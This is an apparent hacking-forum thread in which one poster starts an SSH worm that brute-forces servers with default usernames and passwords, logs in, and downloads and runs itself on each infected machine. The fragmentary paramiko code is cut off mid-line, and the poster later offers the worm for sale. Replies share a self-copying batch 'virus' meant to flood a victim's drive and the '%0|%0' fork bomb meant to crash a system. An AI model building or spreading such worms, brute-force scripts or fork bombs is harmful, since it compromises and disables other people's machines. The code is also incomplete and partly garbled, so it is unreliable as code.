[iii23]

I've just started to work on a ssh worm that primarily uses paramiko. The basic goal is to brute a ssh server from a generated up list, login, and download and run the same script on the infected machine so the cycle continues. I'll update the code ad I contiune working on it.

Code:

import paramiko import random import socket import os import random usernames = ['root', 'admin'] passwords = ['root', 'admin', 'password'] print("Welcome to MikoWorm!") def sshconnect(ip, usernames, passwords): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect

[Jusluvn]

How's it coming? I'm interested in this. I have been brushing up on my python recently

[iii23]

How's it coming? I'm interested in this. I have been brushing up on my python recently

I just finished working on my worm and I'm selling it for $10.

[d4ggm4sk]

Is this a thread where you give advice, or do you want advice?

[DedSpace]

For any one interested, there is a book called "Black Hat Python" where this and many other things are covered with examples.

[d4ggm4sk]

Creating a worm is really simple. Many people think that it takes some form of genius to create a virus.
You can create a virus that will destroy someone's computer just by typing in these following lines:

"echo off” on the first line.

Then we write “Copy C: \Programs\worm.bat C:\Programs” on the second line

Then we end it with “Start C:\Programs\worm.bat"

A worm is made to replicate itself inside in this case the programs folder. >> Basically it will clot up the victim's entire C: drive and continue to do so even if he deletes the worm files, since every worm replicates itself. The whole process is in a matter of seconds.

[DedSpace]

Many people think that it takes some form of genius to create a virus.

Not to mention the classic:

Code:

%0|%0

This will keep re spawning a process until the system crashes.

[d4ggm4sk]

Many people think that it takes some form of genius to create a virus.

Not to mention the classic:

Code:

%0|%0

This will keep re spawning a process until the system crashes.

I see what you did there, hahahahaha